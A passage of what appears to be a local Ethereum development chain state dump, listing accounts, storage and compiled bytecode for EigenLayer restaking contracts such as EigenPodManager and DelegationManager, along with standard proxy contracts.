44d616e616765722e637265617465506f643a2053656e64656044820152721c88185b1c9958591e481a185cc818481c1bd9606a1b606482015260840161071d565b6000611218611ff4565b9250505090565b6066546000906001908116036112735760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161071d565b336000908152609860205260409020546001600160a01b03168061129c57611299611ff4565b90505b6040516326d3918d60e21b81526001600160a01b03821690639b4e46349034906112d2908b908b908b908b908b906004016127fd565b6000604051808303818588803b1580156112eb57600080fd5b505af11580156112ff573d6000803e3d6000fd5b505050505050505050505050565b6001600160a01b038082166000908152609860205260408120549091168061090b576113d8836001600160a01b031660001b60405180610940016040528061090e81526020016128ea61090e9139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526113bd9291602001612867565b60405160208183030381529060405280519060200120612159565b9392505050565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916146114275760405162461bcd60e51b815260040161071d9061260e565b600081121561149e5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f617265732063616e6e6f74206265206e65676174697665000000000000000000606482015260840161071d565b6114ac633b9aca0082612682565b15611521576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f644d616e616765722e72656d6f76655368617265733a20736860448201527f61726573206d75737420626520612077686f6c65204777656920616d6f756e74606482015260840161071d565b6001600160a01b0382166000908152609b602052604081205461154590839061287c565b905060008112156115d65760405162461bcd60e51b815260206004820152604f60248201527f456967656e506f644d616e616765722e72656d6f76655368617265733a20636160448201527f6e6e6f7420726573756c7420696e20706f64206f776e657220686176696e672060648201526e6e656761746976652073686172657360881b608482015260a40161071d565b6001600160a01b039092166000908152609b602052604090209190915550565b6115fe611f48565b6109c1816121b5565b6001600160a01b0380831660009081526098602052604090205483911633146116825760405162461bcd60e51b815260206004820152602760248201527f456967656e506f644d616e616765722e6f6e6c79456967656e506f643a206e6f6044820152661d0818481c1bd960ca1b606482015260840161071d565b600260c954036116d45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161071d565b600260c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a2646970667358221220399497eab4459a973826c435240cfd79916cb991f3ddb98b84a2d2a19866f8da64736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x9e545e3c0baab3e08cdfd552c960a1050f373042":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063c298557814602d575b600080fd5b600060405190815260200160405180910390f3fea264697066735822122083f6599f3b40efb95aaba690bbeee04c49e0cc0eebd29434caa726d365b9d29f64736f6c634300081c0033","storage":{}},"0xa0ee7a142d267c1f36714e4a8f75612f20a79720":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0xa513e6e4b8f2a923d98304ec87f64353c4d5c853":{"nonce":1,"balance":"0x0","code":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","storage":{"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1","0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103":"0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}},"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e